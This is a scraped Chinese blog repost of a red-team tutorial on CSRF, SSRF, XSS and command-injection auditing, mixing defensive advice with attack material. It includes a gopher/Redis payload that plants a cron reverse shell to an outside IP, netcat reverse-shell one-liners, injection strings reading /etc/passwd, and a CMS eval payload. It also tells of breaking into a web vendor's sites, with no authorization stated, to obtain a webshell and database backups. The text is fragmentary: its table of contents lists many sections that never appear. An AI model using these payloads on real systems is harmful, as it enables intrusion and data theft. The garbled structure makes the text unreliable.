USB迷 | 专注于互联网分享

    最新消息： USBMI致力于为网友们分享Windows、安卓、IOS等主流手机系统相关的资讯以及评测、同时提供相关教程、应用、软件下载等服务。
    你的位置： 首页 > 业界 > 红队专题-漏洞挖掘-代码审计-CSRFSSRFXss

    红队专题-漏洞挖掘-代码审计-CSRFSSRFXss

    业界 admin 8浏览 0评论

    漏洞挖掘-代码审计-CSRF/SSRF/Xss

    • CSRF/XSRF Cross—Site Request Forgery 请求伪造 跨站点请求伪造
      • CSRF防御
      • CSRF与XSS的区别
    • ssrf常用协议
      • ssrf防御
      • php常用的伪协议
      • 常用函数
    • XSS多场景实战防御机制 Bypass绕过
      • 存储型XSS
    • SSRF服务器端 请求伪造 Server-Side Request Forgery
    • ssrf利用 ridis打内网
    • 禁用 127.0.0.1 后如何绕过，支持哪些协议
    • 原理
    • 危害
    • 出现场景
        • SSRF漏洞原理与利用
          • (Cross Site Request Forgery)攻击，中文名：跨站请求伪造
    • 代码审计中远程命令执行漏洞
    • RCE远程命令/代码执行 OS command injection
      • 概述
      • 命令注入Command Injection
      • RCE 漏洞函数
        • 代码执行
        • 命令注入执行
    • 示例
      • pboot cms 存在RCE漏洞
    • 使远程服务器执行“whoami”的命令
    • Java代码审计
      • 注入
    • CodeQLpy - java
    • seay
    • fortify
      • 内存的基本概念
        • 差异备份 注入
      • java基本语法
    • 代码审计
    • 实战渗透-fofa-dirBrute-代码审计-构造poc-ueditor-解密-过waf-Godzilla
    • CVE-2022-1388命令执行F5 BIG-IP iControl REST
    • 漏洞概述
    • 漏洞验证
      • banner
    • php-RCE+Struts2拿webshell
    • 普通权限 命令执行 拿 webshell
      • CMD echo 写入一句话 php文件
      • 菜刀连接
    • Struts2 拿 webshell
    • Wordpress 4.6 PwnScriptum RCE命令执行
    • 目标介绍
    • 漏洞来源
    • 影响版本
    • CVE-2016-10033 Vulhub靶场搭建
    • 复现过程
      • 利用条件&问题注意点
      • 解决办法
    • 漏洞利用
      • ping 一下docker宿主机
      • 开启 nc 监听
      • 准备payload 下载环境
        • 下载地址
        • 放入反弹payload
      • 手动利用
      • POC
      • EXP构造
      • 反弹shell
      • 知道网站根路径写入webshell利用
    • 漏洞解析
    • 未授权访问RCE——XXL-JOB executor
    • 漏洞复现-CVE-2021-26855 2021年3月 Exchange Server RCE
    • 漏洞概述
    • 影响版本
    • 环境搭建
      • 安装AD域控
      • 下一步到安装
      • 点击"将此服务器提升为域控制器"
      • 设置密码
      • 显示无法创建DNS服务器委派，无视，下一步
      • 选择安装的位置以及日志文件位置
      • 如果提示
      • 安装完成后自动重启即完成。
      • 安装 Exchange Server 2016
      • 开始安装，选择不更新。
        • 启用exchange自带的杀毒
      • 配置先决条件出错。
      • 安装成功后访问https://localhost/ecp 即可到达exchange管理中心。
        • 使用域名\用户名，密码即可登录管理中心。
    • 漏洞利用
      • 尝试 CVE-2021-26855 SSRF漏洞。
      • 执行exp
    • 修复方式
    • JAVA 常见漏洞
        • Java vs PHP
          • Java Web的常见概念
        • Java Web常见漏洞分析
          • Java Web常见概念
          • Servlet
          • JSP(Java Server Pages)
          • JDBC(Java Database Connectivity)
          • JavaBean
        • Java Web常见漏洞分析
        • 命令执行（JSP一句话木马）
        • 免杀后门
        • 防范方法
        • SQL注入
        • 条件竞争（Servlet线程不安全）
        • SSRF
        • 文件上传
        • 代码执行（Java反射机制）
        • 任意文件读取/目录遍历攻击
        • 任意文件读取
    • SSRF服务端请求伪造(Server-Side Request Forgery)
      • 漏洞原理
      • 靶场设计拓扑图
      • PHP
      • 判断 SSRF 是否存在
        • 探测内网端口
        • 目录扫描
        • file协议读取本地 文件 信息
        • 反弹shell
        • 攻击 MySQL 未授权
            • 查询数据库
            • 提权
        • 攻击fastcgi
        • CVE-2017-12615 Tomcat 任意写文件漏洞，
        • XML 实体注入
        • 代码注入
        • SQL 注入
        • 命令执行
        • 攻击 Redis
          • Redis unauth
          • - Redis auth
          • 通过header CRLF 注入
          • curl命令/gopher协议-远程攻击内网redis
          • 使用dict协议向Redis数据库写shell
          • 主从复制反弹 shell
      • 【Burp系列】超全CSRF请求伪造漏洞实验总结
      • 跨站点请求伪造（CSRF）
        • 1、简述：
        • 2、影响：
        • 3、原理：
      • 站点和源之间的区别
        • `也被称为“One Click Attack”或者Session Riding`
          • 一种对网站的恶意利用漏洞
              • 但你不能保证以下情况不会发生：
    • CSRF攻击防范/防护
      • 验证请求来源 对请求进行校验 只接受来自信任的源的请求
      • 设置 SameSite
      • 双因子验证：
      • 防止 XSS：
            • 然而，这种方法并非万无一失。
        • 在请求地址中添加 token 并验证
        • 在 HTTP 头中自定义属性并验证
    • Cross Site Scripting 跨站脚本攻击
      • Xss通用明文 &&表单劫持
        • 跨站脚本攻击漏洞概念，
        • 漏洞原理和危害，
        • 掌握反射型、存储型XSS漏洞利用方法
      • web安全工程师-03-XSS漏洞原理与利用
    • 第一章：XSS基础
      • 1.1 XSS介绍与原理~1
      • 1.2 存储型XSS实战
      • 1.3 反射型XSS实战
      • 1.4 DOM型XSS实战
      • 1.5 XSS辅助测试工具
      • 2.3 反射型XSS多场景实战及Bypass详解~1
        • payload 多次 url 编码
      • 2.4 DOM型XSS多场景实战及Bypass详解~1
    • 第三章：XSS高级
    • XSS扫描器
    • XSS 的防御

    CSRF/XSRF Cross—Site Request Forgery 请求伪造 跨站点请求伪造

    CSRF防御

    尽量使用 POST
设置 HttpOnly

验证 HTTP Referer 字段
在请求地址中     对敏感信息的操作  添加 安全的token 并验证
在 HTTP 头中自定义属性并验证

对敏感信息的操作增加安全的验证码/密码；

对敏感信息的操作实施对应的安全措施，防止这些操作出现被伪造的情况，从而导致CSRF。比如：
 
> --
> --对敏感信息的操作实施安全的逻辑流程，比如修改密码时，需要先校验旧密码等。
> 
> 
> 如果你没有读太明白,不要犹豫,请再读一遍啦 你可以通过“Cross-site request
> forgery”对应的测试栏目，来进一步的了解该漏洞

    其中 Web A 为存在 CSRF 漏洞的网站，Web B 为攻击者构建的恶意网站，User C 为 Web A 网站的合法用户。

    用户 C 打开浏览器，访问受信任网站 A，输入用户名和密码请求登录网站 

A在用户信息通过验证后，网站 A 产生 Cookie 信息并返回给浏览器，此时用户登录网站 A 成功，可以正常发送请求到网站 

A用户未退出网站 A 之前，在同一浏览器中，打开一个 TAB 页访问网站 B

网站 B 接收到用户请求后，返回一些攻击性代码，并发出一个请求要求访问第三方站点 A

浏览器在接收到这些攻击性代码后，根据网站 B 的请求，在用户不知情的情况下携带 Cookie 信息，向网站 A 发出请求。

网站 A 并不知道该请求其实是由 B 发起的，所以会根据用户 C 的 Cookie 信息以 C 的权限处理该请求，导致来自网站 B 的恶意代码被执行。

     
只要不关闭浏览器或者退出登录
网站的cookie在浏览器中不会过期

而在这个期间，
攻击者发送了构造好的csrf脚本或包含csrf脚本的链接，执行一些用户不想做的功能（比如是添加账号等）

伪造用户的浏览器的请求
向访问一个用户自己曾经认证访问过的网站发送出去，使目标网站接收并误以为是用户的真实操作而去执行命令。
 常用于盗取账号、转账、发送虚假消息等。
攻击者利用网站对请求的验证漏洞而实现这样的攻击行为，网站能够确认请求来源于用户的浏览器，却不能验证请求是否源于用户的真实意愿下的操作行为。
 




假设某银行网站 A 以 GET 请求来发起转账操作，转账的地址为www.xxx.com/transfer.do?accountNum=l000l&money=10000

参数 accountNum 表示转账的账户，参数 money 表示转账金额。

 而某大型论坛 B 上，一个恶意用户上传了一张图片，而图片的地址栏中填的并不是图片的地址，而是前而所说的砖账地址：
 
当你登录网站 A 后，没有及时登出，这时你访问了论坛 B，不幸的事情发生了，你会发现你的账号里面少了 10000 块… 

为什么会这样呢，在你登录银行 A 时，你的浏览器端会生成银行 A 的 cookie，而当你访问论坛 B 的时候，页面上的标签需要浏览器发起一个新的 HTTP 请求，以获得图片资源，当浏览器发起请求时，请求的却是银行 A 的转账地址

并且会带上银行 A 的 cookie 信息，结果银行的服务器收到这个请求后，会以为是你发起的一次转账操作，因此你的账号里边便少了 10000 块。 当然，绝大多数网站都不会使用 GET 请求来进行数据更新，



因此，攻击者也需要改变思路，与时俱进。 假设银行将其转账方式改成 POST 提交，而论坛 B 恰好又存在一个 XSS 漏洞，恶意用户在它的页面上植入如下代码：
    var form = document.forms('auto');
    form.submit();

如果你此时恰好登录了银行 A，且没有登出，当你打开上述页面后，脚本会将表单 aaa 提交，把 accountNum 和 money 参数传递给银行的转账地址

 
 
 
同样的，银行以为是你发起的一次转账会从你的账户中扣除 10000 块


常见利用

document.forms[0].submit();

    简称为“CSRF”，在CSRF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接），然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击就完成了。所以CSRF攻击也成为"one
    click"攻击。
    很多人搞不清楚CSRF的概念，甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
    这里列举一个场景解释一下，希望能够帮助你理解。 场景需求： 小黑想要修改大白在购物网站tianxiewww.xx上填写的会员地址。
    先看下大白是如何修改自己的密码的： 登录—修改会员信息，提交请求—修改成功。 所以小黑想要修改大白的信息，他需要拥有：1，登录权限
    2，修改个人信息的请求。

    但是大白又不会把自己xxx网站的账号密码告诉小黑，那小黑怎么办？
    于是他自己跑到www.xx上注册了一个自己的账号，然后修改了一下自己的个人信息（比如：E-mail地址），他发现修改的请求是：
    【http://www.xxx/edit.php?email=xiaohei@88&Change=Change】
    于是，他实施了这样一个操作：把这个链接伪装一下，在小白登录xxx网站后，欺骗他进行点击，小白点击这个链接后，个人信息就被修改了,小黑就完成了攻击目的。

    为啥小黑的操作能够实现呢。有如下几个关键点：
    1.www.xxx这个网站在用户修改个人的信息时没有过多的校验，导致这个请求容易被伪造;
    —因此，我们判断一个网站是否存在CSRF漏洞，其实就是判断其对关键信息（比如密码等敏感信息）的操作(增删改)是否容易被伪造。
    2.小白点击了小黑发给的链接，并且这个时候小白刚好登录在购物网上;
    —如果小白安全意识高，不点击不明链接，则攻击不会成功，又或者即使小白点击了链接，但小白此时并没有登录购物网站，也不会成功。
    —因此，要成功实施一次CSRF攻击，需要“天时，地利，人和”的条件。 当然，如果小黑事先在xxx网的首页如果发现了一个XSS漏洞，则小黑可能会这样做：
    欺骗小白访问埋伏了XSS脚本（盗取cookie的脚本）的页面，小白中招，小黑拿到小白的cookie，然后小黑顺利登录到小白的后台，小黑自己修改小白的相关信息。

    CSRF与XSS的区别

    CSRF是借用户的权限完成攻击，攻击者并没有拿到用户的权限，
    而XSS是直接盗取到了用户的权限，然后实施破坏。

    ssrf常用协议

    file 用于读取文件
    dict 用于探测一些端口 以及数据库信息

    ssrf.php?url=dict://x.x.x.x:$端口$
ssrf.php?url=dict://x.x.x.x:6379/info 判断是否redis设置了密码
ssrf.php?url=dict://x.x.x.x:6379/auth:$密码$用于爆破

    LDAP 目录扫描
    TFTP 它允许客户端从远程主机获取文件或将文件上传至远程主机 上传shell
    sftp
    gopher

    ssrf防御

    对所有输入进行严格的验证和过滤：

    开发人员在编写Web应用程序时应对所有输入数据进行严格的验证和过滤，以确保不会将任何恶意代码或非法请求发送到受害者服务器。

    使用URL白名单：开发人员可以使用白名单技术限制应用程序仅向可信的服务器发送请求，例如内部服务器或特定的Web API。

    限制服务器端请求发出范围：在服务器上的Web应用程序必须限制服务器端请求的发出范围，例如通过禁止或限制特定的协议、域名或IP地址，以避免攻击者可以利用SSRF漏洞来发送恶意请求。

    防火墙保护：使用防火墙的隔离技术可帮助防止恶意代码和非法请求进入Web应用程序，并限制其对其他系统的访问。

    禁止不需要的协议、
    统一返回信息、
    限制请求的端口

    • 验证和过滤用户输入：对于用户可控参数，应该验证和过滤输入，确保只允许有效的URL和受信任的主机地址。
    • 使用白名单：限制应用程序可以访问的资源和外部服务，仅允许必要的请求。
    • 内网隔离：将应用程序和内部资源放置在独立的安全网络中，防止直接访问内部系统。
    • 加强监控和日志记录：及时检测异常请求并记录相关信息，以便追溯和响应安全事件。

    php常用的伪协议

    filter
file
ftp
http
https
php
data
glob
phar
expect需要扩展

    常用函数

    curl函数
file_get_contents()函数
fsockopen()

    XSS多场景实战防御机制 Bypass绕过

    存储型XSS


















    • 全局 配置文件
















    去掉空格 截断函数



    反斜杠 处理

    处理 编码问题





    数据展示 的 类



    实体转义 标签 防止 执行

























    输入 没做处理

    输出 做了处理 没做完全

    • 修复 实体转义



















    编写 payload





    长度限制 添加注释


    注释 闭合 网页标签







    dom节点








    多段提交
    注释 执行

    多点限制 加密 编码
    取值 得值 谨慎

    SSRF服务器端 请求伪造 Server-Side Request Forgery

    ssrf利用 ridis打内网

    curl命令
gopher协议
远程攻击内网redis


gopher协议是比http协议更早出现的协议，现在已经不常用了，但是在SSRF漏洞利用中gopher可以说是万金油，
因为可以使用gopher发送各种格式的请求包，这样就可以解决漏洞点不在GET参数的问题了。 

gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。

此种方法能攻击成功的前提条件是：redis是以root权限运行的。

payload2如下：

curl -v 'http://xxx.xxx.xx.xx/xx.php?url=
gopher://172.21.0.2:6379/
_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
redis命令进行了两次url编码，
通过gopher协议伪造的请求包用curl命令来发送；

payload采用的是bash反弹，定时程序路径是/var/spool/cron/root

发送请求之前在公网机192.168.220.140开启nc监听端口2333

    禁用 127.0.0.1 后如何绕过，支持哪些协议

    CRLF 是指cr回车、lf换行，



url单、双编码
将/r/n换为ascii

短网址
进制转换
302跳转
DNS重绑

    原理

    服务端提供了能够从其他服务器应用获取数据的功能，我们服务端请求的目标都是与该请求服务器处于同一内网的资源服务，但是如果没有对这个请求的

    目标地址、文件等做充足的过滤和限制，攻击者可通过篡改这个请求的目标地址来进行伪造请求，进行未授权访问。

    危害

    扫描资产
    获取敏感信息
    攻击内网服务器
    访问大文件 造成溢出
    通过redis 写入webshell

    出现场景

    社会化分享
    转码
    在线翻译
    远处的非本地图片加载下载
    图片或者文章的收藏
    网站采集抓取

       
允许攻击者在受攻击的应用程序上执行未经授权的网络请求。下面是SSRF漏洞的详细介绍以及可能导致的危害：  
   
 1. 漏洞原理：SSRF漏洞通常出现在应用程序中存在用户可控的输入参数，攻击者可以操纵这些参数，使应用程序发起指向内部网络或外部互联网的请求。  
       
 2. 攻击方式：攻击者利用SSRF漏洞可以发起以下类型的攻击：  
       
     - 访问内部资源：攻击者可以通过指定内部IP地址或域名，访问应用程序所在服务器内部的资源，如数据库、管理界面等。  
     - 探测内网服务：通过发送特定请求（如访问本地API、敏感文件等），攻击者可以探测目标网络的拓扑结构和敏感信息。  
     - 攻击其他系统：攻击者可以利用SSRF向外部服务器发送恶意请求，包括针对内网的攻击、远程代码执行、DDoS攻击等。  
 3. 危害与风险：  
       
     - 数据泄露：攻击者可以利用SSRF漏洞访问内部资源并窃取敏感数据，例如数据库中的用户信息、API密钥等。  
     - 内网攻击：通过访问内部服务或发起内网攻击，攻击者可以进一步侵入网络和系统，造成更严重的后果。  
     - 服务器资源滥用：攻击者可以利用SSRF漏洞发送大量外部请求，导致服务器资源过载、服务不可用以及额外的带宽消耗。  
     - 完全控制：如果攻击成功，攻击者可能获得对服务器的完全控制权，并在其上执行任意操作。  
   
 

   
 总之，SSRF漏洞可能导致严重的安全威胁，攻击者可以通过它窃取数据、攻击内部网络以及滥用服务器资源。因此，开发者和系统管理员应密切关注并采取措施来防止和及时修复SSRF漏洞。

# SSRF getshell

[https://segmentfault.com/a/1190000021960060](https://segmentfault.com/a/1190000021960060)

[https://xz.aliyun.com/t/9371](https://xz.aliyun.com/t/9371) [https://forum.butian.net/share/1085](https://forum.butian.net/share/1085)

   
 ## SSRF 服务端请求伪造  
 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。  
   
 对外网、服务器所在内网、本地进行端口扫描，获取一些服务的版本信息；  
 攻击运行在内网或本地的应用程序  
 对内网 WEB 应用进行指纹识别，  
 通过访问默认文件实现(如：readme文件)；  
   
 攻击内外网的 web 应用，主要是使用 GET 参数就可以实现的攻击  
 (如：Struts2，sqli)；  
 下载内网资源(如：利用file协议读取本地文件等)；  
 进行跳板；无视cdn；利用Redis未授权访问，HTTP CRLF注入实现getshell  
   
 ### 防御  
   
 ```cpp  
 1.限制协议：仅允许http和https请求。 不让使用伪协议  
 2.限制IP：避免应用被用来获取内网数据，攻击内网。  
 3.限制端口:限制请求的端口为http常用的端口，比如，80,443,8080,8090。  
 4.过滤返回信息:验证远程服务器对请求的响应是比较简单的方法。  
 5.统一错误信息:免用户可以根据错误信息来判断远端服务器的端口状态。  
 

### 测试过程

 有回显  
 直接通过页面加载出目标资产，  
 可先尝试加载http://www.baidu.com 页面确认有ssrf，如果成功的话，  
 可进一步将百度换成内网IP，通过fuzz扫描内网资产。  
   
 无回显  
   
 1.先配合dnslog平台，测试dnslog平台能否获取到服务器的访问记录，  
 如果没有对应记录，也可能是服务器不出网造成的，  
 利用时可以通过请求响应时间判断内网资产是否存在，  
 然后再利用内网资产漏洞（比如redis以及常见可RCE的web框架）证明漏洞的有效性。  
   
 "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."  
   
 "... <!ENTITY test SYSTEM "SSRF.lkun0l.dnslog.cn\\aa"> ..."  
   
 2.使用burp的collaborator来进行尝试  
 3.开启apache服务，  
 在存在ssrf处访问http://10.1.1.200(本机服务地址)，查看服务器日志信息，  
 打开日志确定是否被访问,确定是否存在ssrf漏洞。

    SSRF漏洞原理与利用

    (Cross Site Request Forgery)攻击，中文名：跨站请求伪造




    针对协议 dos 攻击
    探知内网





    代码审计中远程命令执行漏洞

    https://mp.weixin.qq/s/NiVF5dPfJsf-qHXcpZEYJA

    https://www.kancloud/noahs/src_hacker/2395055

    RCE远程命令/代码执行 OS command injection

    remote command/code execute

    查询的域名后面加一个分号然后加命令即可成功执行命令

    或者利用nc命令，反弹shell

    && nc -vlp 4444 -e /bin/bash

    sudo netstat -plant | grep 4444

    nc -vv 10.0.3.198 4444

    python -c “import pty;pty.spawn(‘/bin/bash’)” //这里要注意引号啊

    $(nc -vlp 4444 -e /bin/bash)

    |nc -vlp 4444 -e /bin/bash

    概述

    RCE漏洞，
    可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。
    一般出现 远程系统命令执行 这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
    比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，
    后台会对该IP地址进行一次ping测试，并返回测试结果。
    如果，设计者在完成该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交“意想不到”的命令，让应用去调用代码或者系统命令执行函数去处理
    从而让后台进行执行，从而控制整个后台服务器 没有考虑用户是否可以控制这些函数的参数问题，没有做好检测和过滤。

    现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。

    在这种平台上往往会出现远程系统命令执行的漏洞
    远程代码执行同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
    不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
    因此，如果需要给前端用户提供操作类的API接口，一定需要对接口输入的内容进行严格的判断， 比如实施严格的白名单策略会是一个比较好的方法。

    • 分为远程命令执行ping和远程代码执行evel

    • CVE-2020-11975 Apache Unomi

    • CVE-2021-2109 WebLogic LDAP

    • IIS CVE-2015-1635

    • CVE-2020-11800 zabbix

    命令注入Command Injection

    黑客通过利用HTML代码输入机制缺陷
    (例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。
    从而可以使用系统命令操作，实现使用远程数据来构造要执行的命令的操作。

    RCE 漏洞函数

    代码执行

    • php

    php里面可以执行命令的函数

    1、参数拼接方式皆有可能产生SQL注入（老生常谈）

    2、全局变量注册导致的变量覆盖

    3、fwrite参数未过滤导致的代码执行

    4、权限校验疏漏导致的后台功能访问

    5、接口任意文件上传

    6、unserialize反序列化漏洞

    
eval()
assert()
preg_replace()
call_user_func()
call_user_func_array()
array_map()

    命令注入执行

    • php

    执行外部的应用程序或函数：

    原型如下：

     string system(string command, int &return_var)
  command 要执行的命令； 
  return_var 存放执行命令的执行后的状态值。
  
  string exec (string command, array &output, int &return_var) 
  command 要执行的命令，
  output 获得执行命令输出的每一行字符串，
  return_var 存放执行命令后的状态值。
  
  void passthru (string command, int &return_var) 
  command 要执行的命令，
  return_var 存放执行命令后的状态值。
  
  string shell_exec (string command) 
  command 要执行的命令，

popen
passthru、proc_open
    • python
    
eval
exec 
subprocess 
os.system 
commands
    • java
      没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数
    
反射机制，并且有各种基于反射机制的表达式引擎，如: OGNL、SpEL、MVEL等.

    示例

    pboot cms 存在RCE漏洞

    打开源码，搜索rce漏洞函数

    查看代码，发现大概率存在漏洞，看看参数是否可控

    追踪调用函数，查看是那个代码文件调用了eval函数

流程：搜索特定函数->parserIfLabel->parserCommom->About&Content

确认是谁调用之后，构造payload

在线留言处提交payload保存

payload：{
   pboot:if(eval($_POST[1]))}!!!{
   /pboot:if}

    然后来到管理员后台，开启留言

    回到在线留言页面，post传递参数

    参数值为要执行的代码，点击提交成功执行

    可以将参数值更改为命令执行函数，执行系统命令

    使远程服务器执行“whoami”的命令

    表示通过提交http://www.sectop/ex1.php?dir=| cat /etc/passwd操作，
    执行命令变成了system(“ls -al | cat /etc/passwd”)，
    输出/etc/passwd 文件的具体内容。

           //ex1.php 

      <?php

      $dir = $_GET["dir"]; 

      if (isset($dir)) 

      {
    

          echo ""; 

          system("ls -al ".$dir); 

         echo ""; 

      } 

      ?>

    服务器配置：apache+php+Mysql；
    实验网址（http://10.1.1.11:81)


    程序获取GET参数ip，然后拼接到system（）函数中，利用system（）函数执行ping的功能，
    但是此处没有对参数ip进行过滤和检测，
    导致可以利用管道符执行其它的系统命令

    “|”在windows中的意思是：把前面的结果当成后面的输入，
    我们用ip=127.0.0.1|whoami来试一下

    后面的命令执行成功，得到我们的身份是system
    “&”在windows中的意思是：两条命令一起执行，先执行前面再执行后面，
    我们用ip=127.0.0.1&whoami来试一下
    原因是在ulr中，“&”是一个连接符号，会被转义成“%26”，
    那我们直接使用“%26”，它就会被转义成真正的“&”，
    所以我们不妨使用ip=127.0.0.1%26whoami再试一下“||”在windows中的意思是：当前面一个执行失败，则执行后面的，
    我们用ip=127.0.0.1||whoami来试一下
    这一次whoami命令并没有被执行，这是因为前面的命令可以执行，
    我们只要把前面的命令搞成不能执行的，让它自动执行下一条命令，
    根据前面提供的关键代码，我们知道只要传入了正常的ip地址，
    命令（ping）就会成功执行，所以我们试试把ip地址消除，
    用ip=||whoami来试一下

    #使远程服务器执行ipconfig命令

    preg_match() 函数用于进行正则表达式匹配，
    成功返回 1 ，否则返回 0 。
    preg_match() 匹配成功一次后就会停止匹配，
    如果要实现全部结果的匹配，则需使用 preg_match_all() 函数。

    header()函数的作用是：
    发送一个原始 HTTP 标头[Http Header]到客户端。
    标头 (header) 是服务器以 HTTP 协议传 HTML 资料到浏览器前所送出的字串，
    标头与 HTML 文件之间尚需空一行分隔。

    这段代码对ip地址进行了简单的过滤，如果它匹配到，它会执行下面system那条命令，
    如果它没有匹配到，它就无法执行下面那条命令（即ping），

    首先想到的思路就是让它发生错误，执行失败，
    使用双管道让它执行ipconfig，接下来我们用ip=127.||ipconfig试一下：
    使用单管道（ip=127.0.0.1|ipconfig）试一试：我们使用“%26”（ip=127.0.0.1%26ipconfig）试一试：

    我们可以通过ping命令返回结果中的TTL项查看服务器的操作系统：
    LINUX——64
    WIN2K/NT——128
    WINDOWS系列——32
    UNIX系列——255（前面为操作系统，后面为TTL值）
    通过ping返回结果，看TTL值与哪项最为接近，服务器就是哪个操作系统。TTL值为52，则它与64之间跨了12个路由，所以它的服务器应该是LINUX。

    接下来补充一些常用的管道符：

    Windows系统支持的管道符如下：

    “|”：直接执行后面的语句。
    “||”：如果前面的语句执行失败，则执行后面的语句，前面的语句只能为假才行。
    “&”：两条命令都执行，如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。
    “&&”：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。

    Linux系统支持的管道符如下：

    “;”：执行完前面的语句再执行后面的语句。
    “|”：显示后面语句的执行结果。
    “||”：当前面的语句执行出错时，执行后面的语句。
    “&”：两条命令都执行，如果前面的语句为假则执行执行后面的语句，前面的语句可真可假。
    “&&”：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。

    Java代码审计

    注入

    • sql注入
    1、SQL注入漏洞简介

（1）SQL注入攻击是黑客利用SQL注入漏洞对数据库进行攻击的常用手段之一。
攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中，
网站应用程序未经过滤，便将恶意SQL语句带入数据库执行。

（2）SQL注入漏洞可能会造成服务器的数据库信息泄露、数据被窃取、网页被篡改，甚至可能会造成网站被挂马、服务器被远程控制、被安装后门等。

（3）SQL注入的分类较多，一般可笼统地分为数字型注入与字符串型注入两类；
当然，也可以更加详细地分为联合查找型注入、报错注入、时间盲注、布尔盲注等


2、SQL注入的条件
（1）输入用户可控。
（2）直接或间接拼入SQL语句执行。

3、审计方法
对于SQL注入漏洞审计，常见的方法是，

根据SELECT、UPDATE等SQL关键字或是

通过执行SQL语句定位到存在SQL语句的程序片段，随后通过查看SQL语句中

是否存在变量的引用并跟踪变量是否可控。

因SQL注入漏洞特征性较强，在实际的审计过程中我们往往可以通过一些自动化审计工具快速地发现这些可能存在安全问题的代码片段。如使用Fortify等自动化工具。




Java语言本身是一种强类型语言，
因此在寻找SQL注入漏洞的过程中，可以首先找到所有包含SQL语句的点，随后观察传参类型是否是String类型，只有当传参类型是String类型时我们才可能进行SQL注入。

    CodeQLpy - java

    seay

    fortify

    JAVA中执行SQL的几种方式

    （1）使用JDBC的java.sql.Statement执行SQL语句
Statement是Java JDBC下执行SQL语句的一种原生方式，执行语句时需要通过拼接来执行。若拼接的语句没有经过过滤，将出现SQL注入漏洞

使用方法如下：

//注册驱动
Class.forName("oracle.jdbc.driver.0racleDriver")
//获取连接

Connection conn = DriverManager.getConnection(DBURL,DBUser,DBPassWord);
//创建 Statement 对象

Statement state = conn.createStatement);

//执行 SQL
String sql="SELECT*FROM user WHERE ";

state. executeQuery(sql);


（2）使用JDBC的java.sql.PreparedStatement执行SQL语句

https://mp.weixin.qq/s/jt5hQ5o-0EVjoVp9UJX2fA

    内存的基本概念

    差异备份 注入

    java基本语法

    代码审计


    • 漏洞挖掘 —— 代码审计
    1. 原理
      可控变量 功能函数
    2. 原理 衍生 思路
    3. 指定/随机 漏洞
      指定 -----> 寻找指定漏洞关键字 （函数，变量）
      随机 -----> 可控变量 （接受方式关键字 eg：$_SET ）
    4. 工具 环境
      遍历文件 查找软件 （审计系统 ， 光速/闪电搜索）
      • 抓包
      • 数据库 监控 动作分析

    实战渗透-fofa-dirBrute-代码审计-构造poc-ueditor-解密-过waf-Godzilla

    • 关键词 —> 目标源码
      主域名
      没有子域
    1. 信息收集

    1. 中间件
      IIS 8.5

      输入admin发现自动添加了/ ------> 说明其目录存在，
      盲猜 文件，login.aspx default.aspx main.aspx 等等

      最终在login.aspx下面发现后台登录页面。
      猜弱口令 -----> 账号被锁


    html代码中发现了某处信息

    author : 设计制作？
    根据后面的域名访问过去，是一个建站公司

    IIS8.5+ASP.NET+建站系统------> 扫一波备份文件:

    400多条ip这开发商还行
    使用FOFA查询工具，批量导出

    扫一下备份文件 ----->B哥的扫描器

    传送门

    可以进行批量存活扫描和目录扫描 ------>在好几个站下面发现web.zip备份文件

    下载下来过后，对其目标站点文件进行了对比。基本一致

    • 拿到代码开始审计


    某接口处放下敏感操作 WebClient.DownloadFile (远程文件下载)

    该方法需要提供绝对路径----->跟踪相关参数
    另一个方法中调用了该方法

    并传入Server.MapPath，这根本不需要找绝对路径了系统都给你安排好了

    那么构造POC:

    ashx/api.ashx?m=downloadfile&FilePath=asmx.jpg&WebUrl=http://***/

    访问地址:


    文件存在，那么证明可行
    回到目标地址:

    被修复了文件不存在
    继续回到代码中,审计其他漏洞在其他接口中，也均存在多个漏洞。
    如ueditor远程抓取漏洞


    文件重命名可Getshell

    这些接口都需要登录

    在一些无需登录的接口中尝试寻找SQL注入

    某处发现SQL拼接
    这里调用了IsSafeSqlString检测


    常见符号基本被卡的死死的

    • 拿下开发商寻找通用账号逆向加解密算法

    使用了相同的建站程序,怀疑有程序内置账户
    通过刚才审计出来的漏洞。
    从同程序的站点入手

    某个站点成功拿到Webshell

    相关信息


    居然是厂商的演示站群，存了该开发商所有站点源码。
    ---->
    应该是在开发过程中的演示环境吧站点有很多，估计每个客户都有。

    在服务器里翻到了目标站点的演示网站

    根目录下有zip网站备份和sql 数据库备份。
    如果说目标站点是直接搬迁过去的，那么后台账户密码应该是一样的。
    将其SQL文件下载下来。再其中搜索相关信息


